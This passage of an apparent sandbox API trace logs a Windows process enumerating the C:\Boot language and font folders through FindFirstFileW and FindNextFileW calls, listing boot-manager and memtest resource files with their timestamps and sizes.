cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0133.376] FindNextFileW (in: hFindFile=0x69b248, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0133.377] FindNextFileW (in: hFindFile=0x69b248, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0133.377] FindClose (in: hFindFile=0x69b248 | out: hFindFile=0x69b248) returned 1 [0133.377] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0133.377] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0133.377] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b348 [0133.377] FindNextFileW (in: hFindFile=0x69b348, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.377] FindNextFileW (in: hFindFile=0x69b348, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0133.377] FindNextFileW (in: hFindFile=0x69b348, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0133.377] FindNextFileW (in: hFindFile=0x69b348, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0133.377] FindClose (in: hFindFile=0x69b348 | out: hFindFile=0x69b348) returned 1 [0133.377] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0133.377] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1 [0133.377] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b188 [0133.377] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.378] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0133.378] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0133.378] FindClose (in: hFindFile=0x69b188 | out: hFindFile=0x69b188) returned 1 [0133.378] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0133.378] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0133.378] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b2c8 [0133.378] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.378] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0133.378] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0133.378] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0133.378] FindClose (in: hFindFile=0x69b2c8 | out: hFindFile=0x69b2c8) returned 1 [0133.378] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0133.378] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0133.378] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b188 [0133.379] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.379] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0133.379] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0133.379] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0133.379] FindClose (in: hFindFile=0x69b188 | out: hFindFile=0x69b188) returned 1 [0133.379] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0133.379] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1 [0133.379] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69af88 [0133.379] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.379] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0133.379] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0133.379] FindClose (in: hFindFile=0x69af88 | out: hFindFile=0x69af88) returned 1 [0133.379] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0133.379] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1 [0133.379] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69acc8 [0133.380] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.380] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0133.380] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0133.380] FindClose (in: hFindFile=0x69acc8 | out: hFindFile=0x69acc8) returned 1 [0133.380] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0133.380] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0133.380] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69ae08 [0133.380] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.380] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0133.380] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0133.380] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0133.380] FindClose (in: hFindFile=0x69ae08 | out: hFindFile=0x69ae08) returned 1 [0133.380] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0133.380] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0133.381] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b088 [0133.549] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, 